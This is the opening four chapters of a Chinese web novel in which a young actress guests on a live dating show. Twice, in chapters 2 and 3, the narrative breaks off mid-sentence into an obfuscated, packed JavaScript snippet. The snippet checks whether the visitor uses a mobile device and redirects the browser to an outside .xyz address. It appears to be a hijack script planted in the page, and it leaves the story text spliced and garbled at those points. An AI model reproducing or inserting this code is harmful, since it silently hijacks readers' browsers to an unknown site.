《这真心话是非说不可吗?》 1. 第 1 章 “今晚至明日凌晨,我们翘首以盼的英仙座流星雨将迎来最佳观测时机。为了记录下流星雨划过天空的唯美景象,众多天文爱好者与摄影爱好者纷纷涌向青蒙山,挑选最佳观测地点。小编在此也要提醒大家,流星雨虽美,夜间上山有风险,请大家量力而行,带好必要的装备……” 梁颂没再看下去,关掉微博推送的热点新闻,惆怅地歪倒在沙发上。 她对这场流星雨也非常期待,早早地和好朋友姚思曼约好了去青蒙山看流星雨,顺便在山上露营一晚。然而,经纪人郑临风得知后,以明天有通告,她绝对不能出任何意外为由,对她下达了限制令,不许她出门。 流星雨计划流产,姚思曼很失望,又舍不得放弃这次机会,恰好有几个同事也商量着要上山,她便临时加入了他们,几个人预备下班后直接从公司出发。 姚思曼昨天打电话过来时还有点愧疚,说:“对不起,我们明明说好一起去的,结果我把你抛弃了。” 原本就是自己失约在先,梁颂当然不会怪姚思曼,只是为自己去不了而失落,故作轻松地说:“没关系啦,是我太大意才会让经纪人知道的,都是我的错。” “哎,没办法嘛,她也是为了你好,晚上山顶冷,万一你着凉感冒了影响工作,那也不好办。”姚思曼安慰她,“没事,今年不行,还有明年呢。” 只怕计划永远赶不上变化啊,梁颂郁闷地应:“但愿吧。” “你放心,我会拍照片给你看的。”姚思曼信誓旦旦地保证,又说,“我听说今年的流星雨规模很大,你晚上到阳台看看,也许能看到一两颗呢,到时候可别忘了许愿哦。” 如果真看到了流星,那自己要许什么愿呢? 梁颂正盯着天花板思考这个问题,手机震动了一下,是姚思曼发来的消息:“到山下啦,准备上山!”附上一张照片,是她和同事们的合照,个个都是笑逐颜开的样子。 梁颂看着姚思曼的笑脸,不觉也微笑起来,叮嘱她:“上山注意安全啊,到山顶了多穿点衣服,别冻着了。” “知道啦,山顶信号差,我就不跟你联系了。你早点休息,明天工作加油!” “好——” 梁颂放下手机,想到明天的工作,心情不由得沉重起来。 她明天要去一档名为《缘来是你》的大型婚恋交友节目,也就是所谓的相亲节目,在下一期担任飞行观察嘉宾的角色。但她实在不理解,郑临风到底是有多大的脑洞才会给她安排这么个通告。 更可怕的是,这节目可能是由于播出多年,开始渐渐呈现出疲软的态势,为了挽救收视率,领导们经过多方研究,提出了一个试行方案——将以往的录播形式改为直播与录播相结合,即将录制以全程直播的形式公开,观众们可以实时观看。 无疑,这是一个极具风险性的决定,毕竟在录制的过程中出现什么意外状况都是不可控的,如果第一次直播就出纰漏,八成也就没有下一次了。 而梁颂要参与的,就是这一期试验性的节目,自然更加忐忑。 为了录制,她特意去观摩了往期节目,发现观察嘉宾要么是有婚恋经验的年长嘉宾,要么是掌握相关专业知识的专家老师,她一个没什么名气的年轻小演员,一没谈过恋爱,二没研究过恋爱心理学,到底是能观察出什么啊! 不过,哪怕是这个不太对口的工作机会,也是郑临风花费精力才帮她争取到的,就算是为了不辜负她的努力,自己也决不能掉链子。 梁颂下定决心,打开电视又随意点开了一期节目,顺便打开小本本,计划再临时抱个佛脚,学学人家的说话技巧。一期节目看完,她记录下了一些观察嘉宾们常用的话术,在心中默记下来,暗暗祈祷这些能派上用场。 时间渐晚,梁颂打了个哈欠,先去完成了一切睡前工作,又来到阳台,坐在躺椅上吹风,希望能如姚思曼所说,在临睡前看到一两颗流星。 幸运的是,今天天气晴朗,空气干燥,云量也少,因此可见度比较高。 说不定真能看到呢,梁颂放松地仰头看着天空,乐观地想。 可时间一分一秒地过去,别说流星了,连流星的尾巴都没见到,梁颂越来越困,连着打了好几个大大的哈欠。 再这样熬下去,保不准明天要萎靡不振地去见郑临风,到时候必然又难逃被她按着痛批一顿的命运。 梁颂念及此处,心不甘情不愿地选择了放弃流星,闷闷不乐地回房间睡觉了。 次日下午,郑临风准时开车过来接梁颂,上车后看她精神尚好,露出了欣慰的神色:“不错,算你听话。” 梁颂因为没看到流星而产生的的怨念都在心底溢出来了,对着郑临风仍是乖巧地笑:“你的话我哪敢不听。” 郑临风很满意:“那就好,我就怕你不听。” “但是临风姐,你为什么会要我去参加这个节目啊,我觉得不是很适合我。” 郑临风不以为然:“我倒是认为挺适合你的,他们请来请去都是那些人,说的都是老一套,观众看多了难免也疲劳了,加个年轻的小姑娘进去,不仅能充充门面,还能给节目带来点新鲜感,这不是一举两得吗?” “嗯……可我有点害怕。” 郑临风失笑:“这有什么可怕的。” “怕自己说错话被骂。” “骂就骂,又不会掉块肉,骂都没人骂那才惨呢。你都在娱乐圈混几年了,连这个道理还不明白吗?” 梁颂无言以对。 郑临风侧头看了她一眼,恨铁不成钢似的:“你看你为什么不红,就是胆子小,顾虑多,怕这个怕那个的,我都替你着急。” 梁颂惭愧地低下了头:“对不起。” “光跟我道歉有什么用,你自己多长点心比什么都强。”郑临风说,“有时候我都纳闷,以你这种性子,为什么会选择表演专业,又选择进娱乐圈。虽然你长得挺好看的,作为一名演员来说演技也过关,但你也知道,在这个圈子里,光有这些是不够的,更重要的是你这个人要被看到,不然为什么那么多艺人都争先恐后地立各种人设,不就是为了这个吗?” 梁颂被郑临风说得只有低头称是的份。 郑临风终于说够了,总结陈词:“《缘来是你》毕竟也是个老牌节目了,这次又是直播,机会难得,你好好表现。” 梁颂乖乖地应:“好的。” “哦,对了,还有一部刚开始筹备的古偶,我刚跟副导演联系上,打算帮你争取里面女二的角色,先跟你说一声,你自己有个准备。” “好的。” 郑临风把梁颂送到电视台,带她跟节目组的熟人打了个招呼,拜托对方帮忙照顾照顾,对梁颂说:“我还得去处理别的事情,等你这边结束了再来接你。” 她手下还管理着别的艺人,不能专顾着自己,梁颂也清楚这一点,点了点头:“好的,你放心吧。” 郑临风又叮嘱了她几句,随后便独自离开了。 梁颂把她送出去,返回休息室时意外被粉丝堵在了走廊的转角,是个女生,虽然挂着工作证,但看样子明显是大学生,她抱着一本书,期期艾艾地问:“梁,梁颂,我很喜欢你,请你给我签个名好吗?” 梁颂是个糊咖,粉丝数量并不算多,她很珍惜这些不嫌弃自己糊的粉丝,因此遇见粉丝要签名要合影,向来是来者不拒。 “当然没问题,签在哪里呢?” 女生把书翻到扉页,又递给她一支笔,不好意思地说:“我不知道今天你也会来,只带了这个,是在地铁上打发时间的,可以吗?” 梁颂定睛一看,见这书竟是一本《古代汉语》,忍不住笑了:“行,除了签名字,还想写别的吗?” 许是她的态度亲切,女生的姿态也放松下来:“那拜托帮我写‘祝小松考试顺利’吧。” 梁颂应了声,低着头在扉页上写字,一边随意跟她聊天:“你叫小松吗?” “嗯!我叫 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“我经纪人的手机号码,你把情况告诉她,她会转达给我的。”梁颂歉然道,“由于之前的一些麻烦事,经纪人禁止我再把私人电话给粉丝,所以只能这样了,抱歉。” 这可是经纪人的手机号码!袁松大为震惊,心想不会吧不会吧,她不会动不动就把经纪人的手机号码给出去吧,经纪人不会接电话接到抓狂吗?! 梁颂见袁松不说话,只当她是不信任自己,又补充说:“我的经纪人非常负责,不会随口敷衍几句就抛在脑后的,你可以放心告诉她。” 袁松拨浪鼓似的摇头否认:“没有没有,我不是担心这个。”她欲言又止片刻,眉头微蹙,认真地告诉梁颂,“你要有安全意识呀,不能随便把手机号码给人的!” 梁颂嘴角上扬:“我知道,我也不是随随便便就给人的,给你是因为我看得出来你是个好孩子,我希望当你真的遇到困难时,我能帮到你。” 这一刻,袁松眼里的梁颂简直在闪闪发光,她用力眨了两下眼,不让自己的情绪流泻出来。 她从小家里条件就不好,高中靠贫困助学金才顺利地读下来,大学也申请了助学贷款。债务缠身的她早习惯了用坚强和乐观武装自己,哪怕过得辛苦也不想面对他人怜悯的眼神。 可现在,喜欢的明星站在自己面前,又温柔又和气地说,她愿意帮助自己。 不愧是我喜欢的人!袁松心脏怦怦直跳,雀跃得想要欢呼出声。 她最早看到梁颂拍的某一部电视剧时就一眼注意到她了,在那部剧里,梁颂是个反派角色,戏份不多,可她觉得梁颂的演技比主角好多了,和男主对戏时更是断层式碾压。后来,她又看了几部有梁颂出演的剧,被她的演技吸引,转而开始关注演员本人。尽管和想象中的不太一样,让她有点失望,但她依然忍不住喜欢她,喜欢她演的每个角色,cut和二创视频翻来覆去地看,怎么也看不腻。 她没钱,舍不得买海报买代言产品,也没想过去追什么线下,只能默默地关注。这次能和梁颂在电视台见到面已经是意外之喜,至于能近距离交流,要到签名,感受到善意,那更是超出预期的惊喜。 她当初为什么会感到失望呢,梁颂就是很好很好的人啊,她值得被更多的人喜欢。 袁松心头翻涌着无数念头,嘴巴张了张,却不知道该说什么好。 梁颂看了看时间,拍拍袁松的肩膀,说:“快回去吧,别耽误工作。” 袁松咬咬嘴唇,鼓起勇气,大声说:“谢谢你!我会永远喜欢你的!”说完又鞠了一躬,转身飞快地跑开了。 “哎——” 梁颂没能叫住她,无奈地笑笑,正要回休息室去,身后另一间休息室突然传来开门的声音。她一时没防备,吓了一跳,下意识转身看去。 看清从里面走出来的人时,她几乎条件反射地皱起眉,语气难掩嫌弃:“怎么是你?” 2. 第 2 章 从休息室走出来的是个穿着西装的年轻男人,身形修长,长相俊美,一双桃花眼含着淡淡的笑意。随着他的靠近,身高优势所带成的压迫感愈发强烈。 梁颂强装镇定地昂头瞪他,不肯向后退半步。 对于梁颂的不客气,男人并不恼,从容地反问:“怎么?难道这地方是你的私人地盘,只有你一个人能来吗?” 梁颂语塞。 她当然没那么大能耐,她只是单纯地因为看见他而感到不爽罢了。 “说起来,我觉得很奇怪。”男人微微倾身过来,说,“你刚才对粉丝明明那么温柔,对我却立马换上了一脸不耐烦的表情,这合理吗?” 梁颂正要出言辩驳,男人又说:“更何况,我好歹是你的学长吧,你对学长这么不客气,真是让人伤心。” 他嘴上这样说着,脸上还配合着演出委屈的表情。 梁颂还有正事,懒得浪费时间跟他辩,选择对他的表演视而不见:“连直系的都不是,少跟我套近乎了。”说完就要转身离开。 男人却不肯放过她:“哦——莫非你是怕我把你的秘密说出去吗?” 梁颂又羞又恼,转头怒视他。 男人笑着抬手做投降状:“开玩笑的,我没那么无聊。” 梁颂翻了个白眼,抬腿就走,心想,故意说这些话来激怒别人,还要装无辜说是在开玩笑,如果这都不叫无聊,那世界上就没什么无聊的人了。 她太后悔了,在见到是他的那一刻,她就该视而不见,直接走掉就对了。为什么非要理他?这不是自己给自己添堵吗? 她刚回到休息室坐下,姚思曼就像卡准时间似的发来了消息:“你开始直播了吗?” “还没,还在等。”梁颂回复,犹豫了一下又问,“你知道我碰到谁了吗?” “谁呀。” 梁颂用力地戳屏幕键盘,一个字一个字地输入:“讨厌的陈以年。” 姚思曼发了个大笑的表情包:“你还记恨着他呢。” 梁颂才不想承认自己小心眼,嘴硬说:“我哪有记恨,就是不喜欢他而已,看到他的脸就感觉不舒服。” “行行行,都是他的错。” “居然在这里也能碰到,真是冤家路窄,不知道来干吗的。” “也许是工作?”姚思曼猜测,又安抚她,“不舒服就不想他了,别让他影响到自己的心情。——来,给你看流星。” 她一连发来了六七张照片,一颗接一颗的流星划过天际,留下绚丽的轨迹,美妙异常。 梁颂看得羡慕极了,还没来及回,工作人员就过来敲门叫她了,仓促地回了句:“先走了,回头再说。” 姚思曼秒回:“Gogogo!加油!” 梁颂会心一笑,收起了手机,也就没看到姚思曼发来的下一条消息:“流星会带给你好运的!大胆地上吧!” 《缘来是你》的官方微博早就提前发布了直播预告,此时大批好奇的网友已陆陆续续地进入直播间,且观看人数还一直在上涨。 【竟然真的是直播!】 【来了来了,火速赶到!】 【感觉很有趣哎,摸鱼看看。】 【所以第一次直播的观察嘉宾到底请了谁呀。】 【听说是某位小花,但具体是谁就不清楚了。】 …… 节目主持人有两位,男主持人叫荀江,女主持人叫崔明如,从这档节目播出之初就是如此,一直没有变过。荀江的年龄比崔明如大了七八岁,也更稳重,两个人互相协作打配合,多年下来也算是一对默契的老搭档了,合力撑起了这档节目。 作为飞行观察嘉宾,梁颂最后出场,她等在后台,听荀江介绍说:“在节目开始之前,首先欢迎我们的三位老朋友,知名女性作家柳彦老师、心理学教授梅一辰老师、演员韩清越老师,欢迎你们的到来!” “此外,我们今天依然是请来了一位新朋友担任观察嘉宾,这位嘉宾和以往有很大的不同,她是一位非常年轻的女演员,在《锦书》《时间当铺》《近水楼台先得月》等多部影视剧中都有过出色的演出。” 乍一听还挺唬人的,梁颂却是心虚得不行。这些剧她是参演过没错,但演的都是戏份不重的小角色,反正提起这些剧时,估计没几个人能首先想到她。 台下的观众席中发出热情的欢呼声,几乎要盖过荀江的声音。 梁颂咽了咽口水,想,待会儿自己上台,观众们看到是她这个名不见经传的小虾米,怕是要失望了。 “接下来,就让我们用热烈的掌声请出这位嘉宾——演员梁颂,有请!” 【啊?原来是梁颂吗?】 【梁颂也不适合这种节目吧,节目组怎么想的这是……】 【都直播了,就不能选个更有梗的嘉宾吗?】 【怎么了!梁颂哪里不好?凭什么所有人都得是你们喜欢的性格啊。】 【就是!不要欺负我们梁颂的粉丝少好吧。】 …… 幸好梁颂看不到弹幕的争执,她闭上眼睛做了个深呼吸,做足心理建设,面带微笑走上舞台,对主持人微微躬身:“两位主持人好。”又对观众席摆手打招呼,“大家好,我是梁颂,很高兴来到这里和大家见面。” 观众们回以阵阵掌声,仿佛压根就不介意来的到底是谁,无论谁当观察嘉宾,他们都一律欢迎。 就是这种可靠的专业性啊,梁颂感叹着,默默地松了口气。 荀江温和地笑:“梁颂你好,欢迎你。” 崔明如则是将她拉到两人中间站定,一副熟稔的样子:“欢迎梁颂,梁颂是我们节目开播以来最年轻的观察嘉宾了,是吧,荀老师?” 荀江想了想:“确实是,某种程度上,这也算是一种进步吧。” “要我说就该多请。”崔明如说,“这多好,感觉自己都跟着变年轻了。” 梁颂认真地说:“您本来就很年轻。” 恭维话谁都爱听,崔明如笑得十分开怀:“人美嘴甜,我喜欢,以后你来常驻吧。” “这话你可不止说过一次了。”荀江笑着拆她的台,“什么时候先把前面的承诺兑现了再来立新的吧。” “咳咳,我这不是人微言轻嘛,也只能过过嘴瘾。” 梁颂抿着嘴笑。 “那么。”崔明如将话题拉回了正轨,问梁颂,“梁颂第一次来到《缘来是你》的舞台,现在是什么心情?” 梁颂老老实实地回答: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557412|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “紧张。” “哈哈哈,不要紧张,不是要你相亲。”崔明如安慰她,随即话锋一转,问,“梁颂谈过恋爱吗?” “……不,没有。” 没用的暗恋经验倒是有一些。 “那你有什么择偶标准?或者说喜欢哪种类型的男生呢?来跟我们分享分享。” 梁颂思考了片刻,对着脑子里出现的形象描述:“年纪比我大一点,脾气好,情绪稳定,会照顾人。嗯……大概就这样。” 【哈哈哈哈,孩子太实诚了。】 【梁颂怎么呆呆的,怪可爱的。】 【震惊,梁颂居然是母单?真的假的?】 【好像是没听过她有什么绯闻对象。】 【是在撒谎也说不定吧,不然又会被问个没完。】 …… “这要求还蛮具体的哎,不过也不难找,我就认识一个。” 梁颂歪头看她:“嗯?” 崔明如看向荀江,狡黠地眨了眨眼:“远在天边,近在眼前。” “嗯?怎么又扯到我身上了?”荀江失笑,“而且我可不是年纪大一点的问题,我都快大两轮了。” “年龄在真爱面前算得上什么!” “可以了,可以了,这种笑话可一点也不好笑,我家属也会看的。”荀江头疼地打断崔明如,“我们先言归正传,回到节目上来。” “好嘛。”崔明如遗憾地叹气,“梁颂,再次欢迎你的到来,请到观察席入座。” “好的,谢谢。”梁颂默默地松了口气,迈下舞台的台阶,来到一侧的嘉宾席,在空着的那张单人沙发上坐了下来。 她旁边坐的观察嘉宾是韩清越,也是一位演员,年轻时出演过不少倾国倾城的大美人,三十岁出头就和圈外人结婚生子,就此淡出了娱乐圈,近几年才开始回归观众视野,除了在这档节目中担任观察嘉宾,也偶尔到影视剧客串角色。 梁颂也算是看着韩清越的戏长大的,对她的印象一直很好,礼貌地点头致意:“您好。” 韩清越回以一笑,眼角浮现出细细的纹路,但这丝毫无损她的气质,反而多了几分岁月沉淀后的优雅和知性。 梁颂心生憧憬,忍不住多看了两眼。 许是她这两眼太明显了,韩清越又转头看过来:“怎么了?” 梁颂赶紧摇摇头,用笑容掩饰自己的尴尬。 好在韩清越也并没有在意,看她的眼神里充满对晚辈的关爱,趁着荀江介绍本期十位女嘉宾的时间,轻声跟她聊天:“你今年多少岁了?” “二十五。” “那还小,怎么会来这节目呢。” 只是私下单独聊天,梁颂也就没隐瞒,实话实说:“经纪人非要我来的……” 韩清越轻笑,仿佛对这种经历深有同感似的,语气温柔地鼓励她:“年轻人机会还很多,加油啊。” 梁颂感觉耳根热热的:“嗯,谢谢您。” 【韩清越在和梁颂说什么悄悄话?为什么不带我!】 【噗,梁颂脸红了。】 【嘿嘿嘿,漂亮姐姐贴贴。】 【韩清越老师这一期依然优雅。】 【眼前一亮又一亮!】 …… 3. 第 3 章 十位女嘉宾按顺序出场亮相,依次来到自己的位置站定。她们每人面前都有一盏灯,在和每位男嘉宾的交流中分别有两次亮灯的机会和一次灭灯的机会。 梁颂挨个看过去,不得不承认,这档节目的收视率能维持这么多年,与女嘉宾稳定的颜值密不可分。各具特色的一排美女,看着就赏心悦目,让人备感愉快。 不知道今天能成几对呢?梁颂抱着这样的想法,期待起即将出场的男嘉宾。 在她的望眼欲穿下,一号男嘉宾终于登场了,他脸上戴着面具,遮挡住了眉眼部分,只露出下半张脸,看不清到底长什么样子。 梁颂提前做了功课,知道这也是节目规则的一部分,男嘉宾只有在初印象环节得到五盏及以上的灯,才有资格摘下面具继续,否则只能遗憾离场。 这规则看似严苛,但从梁颂观摩的那几期来看,女嘉宾通常都很给男嘉宾面子。男嘉宾只要没有太过分的言行,比如邋里邋遢毫无形象地上台,或是一张嘴就发表让人下头的言论,都可以成功进入下一环节。 一号男嘉宾分别跟两位主持人握了手,做了个简单的自我介绍:“大家好,我叫吴庆璋,今年三十五岁,是一名皮肤科医生。” 梁颂托着下巴打量他,个头略矮,身材敦实,乍一看着实是没什么抓人眼球的地方。 不知道面具后面会是怎样的脸呢?梁颂猜想着,突然明白了节目组要求男嘉宾戴面具的用意。这个噱头太适合营造神秘感了,不仅能吸引电视机前的观众,吊着他们多看几分钟,也能勾起女嘉宾的好奇心,让一些颜控选手不至于看一眼就丧失兴趣。 这样一来,收视率有了,男嘉宾得到五盏灯的机会也大大增加了,可以说是一举两得。 用心良苦啊用心良苦,梁颂打起精神,静观其变。 【达咩,这颜值不太行吧。】 【不可以以貌取人!】 【根本不是以貌取人的问题,节目组你们自己看看女嘉宾的颜值,这合适吗?】 【就是啊,为什么不多找几个帅的。】 【有没有一种可能,帅的他就不会出现在这里。】 …… “吴庆璋,欢迎你。”荀江递上平板,“请先选择你的心动嘉宾。” “好的。”吴庆璋捧着平板,审慎地环视了两圈才做出选择,把平板还给荀江。 崔明如打趣说:“你真的好谨慎哎,是职业病吗?” 吴庆璋有点尴尬:“主要是离得太远,也看不太清楚细节。” “哦——那看来应该让你走近了仔仔细细去看的。” 吴庆璋忙摆手:“不用不用。” 大家都笑了起来。 荀江见一号女嘉宾赵昕举手,便点名叫她提问:“来,一号。” 一号女嘉宾放下手,饶有兴致地问:“男嘉宾,所以你作为皮肤科的医生,刚才看得那么仔细,是在观察女嘉宾的皮肤状态吗?” “也不是刻意观察吧,只是会下意识地去多注意一下。”吴庆璋说,“因为看一个人的皮肤,其实就可以看出很多问题,比如她的生活状态或者生活习惯什么的。” “啊,比如长痘说明习惯熬夜之类的吗?” “差不多吧。” “这可不一定。”一号女嘉宾立刻出言反驳,“我就是特别容易长痘的人,脸上隔三差五就会冒出来一两颗,但天地良心,我作息非常规律,几乎从来不熬夜,饮食也以清淡为主,但都完全阻止不了痘痘冒头,邪门得很。” 说到这里,一号女嘉宾指指身边的二号女嘉宾周雨薇,愤愤不平地说:“哦,和我形成鲜明对比的是她,她熬夜是家常便饭,吃东西更是生冷不忌,可是除了轻微的黑眼圈,皮肤状态好到爆,就很没天理。” 二号女嘉宾“谦虚”地说:“遗传自家族的一些小小基因优势罢了。” 一号女嘉宾微笑,一字一顿地说:“气、死、人、了。” 【可恶,我太懂一号女嘉宾的感受了。】 【太真实了,哭了。】 【呵,这专业医生也不怎么专业嘛。】 【拜托,这么远还带妆他能看出个鬼啊,说得跟真的似的。】 【人家有透视眼呗。(狗头)】 …… 崔明如插嘴:“说起护肤问题,我觉得可以请教在场的两位女明星。——韩老师,梁颂,你们有什么护肤小秘诀吗?” 梁颂突然听到自己被点名,懵懵地看向韩清越。 韩清越温柔地笑笑,说:“我已经过了在意外表的年纪了,更重要的是心态吧,多运动多活动,凡事看开点,让身体和心理都保持在一个很平稳的状态,这样就可以了。” “韩老师的秘诀是心态,梁颂呢?你作为一个年轻人,有没有什么小妙招可以传授?” “我吗?”梁颂想了想,“只用清水洗脸算吗?我听说用清水洗脸是最健康的,所以这么多年来一直都是这样。” “其他的呢?” 梁颂摇了摇头:“好像没有了。” 崔明如感叹:“哎呀,还是年轻啊。” “好了好了,护肤问题各位慢慢再聊。”荀江无奈地制止了这个话题,说,“我们先来看看吴庆璋的亮灯情况。——目前有五位女嘉宾为吴庆璋亮灯,还有其他女嘉宾要亮灯吗?再给大家五秒钟的时间考虑。” 五秒钟结束,并没有其他女嘉宾再亮灯,吴庆璋勉强擦边过线。 “好险,就差一点。”崔明如笑眯眯地说,“来吧,赶快进入我最喜欢的一个环节。” 荀江问:“最喜欢摘面具是吗?” “那是当然,揭开神秘面纱的过程最激动人心。”崔明如挑眉,转向吴庆璋,“吴庆璋,请你摘下面具,用庐山真面目和大家见面吧。” “好的。”吴庆璋答应着,伸手摘掉了面具。 【啧,果然一般般。】 【好了,这下彻底没有期待了。】 【节目组你,我……】 【蒜鸟蒜鸟,估计这位是没戏了。】 【嗐,其实看脸型就知道了,这种方圆脸很难出帅哥吧。】 …… 荀江点点头:“好,面具摘掉了,我们先一起来看吴庆璋的第一条短片。” 男嘉宾的第一条短片内容可以是家庭情况、工作或生活日常、兴趣爱好等信息,以帮助女嘉宾全面地了解男嘉宾。在此期间,女嘉宾仍然可以选择亮灯或灭灯。 吴庆璋在短片里介绍了自己家庭的基本情况,整体倒没什么特别的,不过其中的一句话让梁颂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557413|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脑细胞都烧了。 “我是独生子,上面还有三个姐姐,但现在都嫁人了。” 这话把梁颂听迷茫了,怎么回事,是自己对独生子有什么误解吗? 短片放完,五号女嘉宾盛嘉立刻举手,问出了梁颂的疑问:“男嘉宾,你不是有三个姐姐吗?为什么还说自己是独生子?” 吴庆璋理所当然地回答:“她们都嫁人了。” 五号女嘉宾皱眉:“结婚了也是你姐姐,也是你父母的孩子,难道结婚就要被开除出你们家吗?” 吴庆璋沉默了两秒,坚持说:“我父母都说我是独生子的。” 五号女嘉宾大概懒得跟他辩了,干巴巴地应:“哦,那我没别的问题了。” 【笑死,五号这个无语的表情不像演的。】 【什么鬼家庭啊,女儿不算人是吧。】 【遇见这样的家庭就一个字,跑。】 【可怜的三个姐姐。】 【姐姐姐弟,这种组合还用再多说吗?】 …… 崔明如问吴庆璋:“你父母在生活中是会更偏爱你吗?” 她的用词还比较温和,没有直接断言他的父母重男轻女。 吴庆璋很自然地说:“我是家里最小的孩子,这很正常吧,姐姐们也都让着我,小时候家里条件不好,她们有什么好吃的好玩的都会先给我。” 俨然一副早就习惯了优等待遇的模样,丝毫不认为这有什么不对的。 梁颂对此很不舒服,忍住了翻白眼的冲动,掩饰性地低头喝水。 崔明如又问:“六号女嘉宾,我记得你是有姐姐的,你们小时候也是这样吗?” 梁颂闻言,抬头看向六号女嘉宾的方向。她在往期节目中也看到过六号女嘉宾,对她的名字印象深刻。 六号女嘉宾叫杨明月,是很大气又诗意的名字,但据她自己所说,父母文化程度不高,取这个名字单纯是因为她出生那天恰好是圆月,根本就没想那么多。 “我吗?”六号女嘉宾回想片刻,说,“我姐姐是不肯让着我的,我们小时候没少为了抢零食打架,我抢不过她就哭,然后哭声把我妈妈招过来,我哭着挨完骂,还要被我姐姐嘲笑,可惨了。” 一号女嘉宾嘴快,接话说:“那不一样吧,男嘉宾是男生,他的姐姐们肯定是挨过骂才长了心眼,明白要让着弟弟,即使有不满也不敢说的。” 吴庆璋听了反而不高兴了,说:“我们姐弟关系好也不行吗?现在她们都嫁出去了,隔三差五还会回家看看父母,如果她们不满还会这样做吗?” 一号女嘉宾还没来得及继续反驳,荀江便阻止了他们的争执,打圆场说:“家家有本难念的经,我们作为旁观者不清楚具体情况,就不要随意评判了。” 一号女嘉宾见荀江不给她机会把想说的话全说出来,不太服气似的,嘴巴噘得老高,用行动表示了抗议——把留着的灯灭掉了。 【一号女嘉宾怎么这么好玩。】 【哈哈哈哈,一怒之下怒了一下。】 【感觉要不是主持人拦着,她能把这里当成辩论赛场。】 【我知道,荀老师是怕她再说下去,所有女嘉宾都会在这轮灭灯。】 【呐,这就叫专业。】 …… 4. 第 4 章 梁颂也注意到一号女嘉宾把灯灭了,场上仅剩下两盏灯还亮着,心想这可真是雪上加霜了,再不放第二条短片,吴庆璋怕是都没机会撑到最终选择了。 她正瞎操心,就听荀江果断结束了这一环节,开始往下推流程:“好,接下来我们来看吴庆璋的第二条短片。” 第二条短片的内容是情感经历和择偶要求,吴庆璋在短片中的发言更是在梁颂的雷点上蹦迪,看得她眉头紧锁。 “颜值很重要吧,领出去不能太寒碜,年龄要比我小,我不接受姐弟恋。” “之前亲戚朋友帮忙介绍过不少,可我那时候眼光太高了,挑来挑去都看不上,就一直耽误下来了。” “现在主要是想本着结婚去谈吧,毕竟年纪也到这里了,三个姐姐都有孩子了,父母也着急,希望早点抱上孙子。” 【你先说清楚,是谁看不上谁。】 【我何时能拥有这种自信。】 【男嘉宾的相亲对象们给我站出来!你们都说了什么才帮他制造出了这种幻觉!】 【年龄比他大也很难吧,起码台上的十位女嘉宾都比他小。】 【合着是为了让父母抱孙子才急着结婚,女生纯纯冤种工具人。】 …… 一连串的言论总结下来,就是他来节目的目的性非常强,找一个能短期内结婚生子的对象,哦,还得年轻漂亮。 梁颂望着吴庆璋那张充其量只能夸一句五官端正的脸,沉默了。 他是怎么做到对自己的认知偏差这么大的? 崔明如问:“你这些要求都是硬性的吗?会不会考虑适当降一降?” 吴庆璋却不以为然:“这要求不高吧。” “嗯……那在你的标准里,多漂亮算漂亮呢?” 吴庆璋挠了挠头:“一种感觉吧,也没办法一条一条很具体地描述出来。” 崔明如点点头,追问:“那我换个问法,在场的所有女嘉宾中,包括观察嘉宾,你认为谁最符合你的审美?” 吴庆璋想了半晌,倒也老老实实地回答:“韩清越老师年轻的时候是我的理想型。” 【好家伙,他真敢说。】 【那可是韩清越!多少人的理想型!】 【韩清越年轻时的颜值是真的顶。】 【韩清越现在也好看啊,四十多岁这个状态有几个能做到。】 【好好好,你们都要韩清越,那我就抱走梁颂了。】 …… 崔明如一听就笑了:“韩老师?” 韩清越面不改色,淡淡地笑:“谢谢你的喜欢,能被观众认可是我的荣幸,不过作为一名演员,我更希望被记住是因为我演的那些角色。” 梁颂不由得在心里默默地为她鼓起了掌,心想不愧是前辈,这态度,这心态,值得学习。 吴庆璋忙说:“您演的角色也很经典,我上学的时候,班上很多同学都喜欢您,我姐姐现在还收藏着您的海报呢。” “是吗?看来我那么多年也没有白干,帮我谢谢你姐姐。” 韩清越开了个小小的玩笑,大家的脸上都露出了笑容。 目前仍是有两盏灯为吴庆璋亮着,荀江便问六号女嘉宾:“杨明月,你有什么问题要问吗?” “啊?我吗?”六号女嘉宾眨了眨眼,说,“其实我也没什么想问的,就是看我们两个都是农村来的,家庭背景可能会有相似之处,所以留灯略表支持。” “原来如此。”荀江闻言,对吴庆璋介绍说,“六号女嘉宾家里也是农村的,你会介意这一点吗?” “说实话,我挺介意的。”吴庆璋说,“最好是城市的吧,农村的女生我见过太多了,大部分都是小家子气的,我不是很喜欢。” “啊?有吗?”六号女嘉宾万万没想到自己的好意换来的是毫不留情的批判,眼睛都瞪大了,辩解说,“也不能这么简单粗暴地评判一个人吧,这不太公平。” “不好意思,我不是针对你,只是从个人的经历出发。” “哦,那好吧。”六号女嘉宾弱弱地应了声,也没再和他争辩,说,“既然你不需要,那我就不留灯了。”说完就灭掉了自己的灯。 眼看她都灭了灯,最后一个还亮着灯的十号女嘉宾丁子林紧随其后也灭了灯。 于是,一排十盏灯全都暗了下去,结果已然明了。 崔明如问:“诶?十号也灭灯了,什么原因?” 梁颂对十号女嘉宾也有印象,她话不多,很少主动举手提问,但很给男嘉宾面子,通常都会开场亮灯,到最后一轮才会灭灯,也算给男嘉宾多提供了机会。 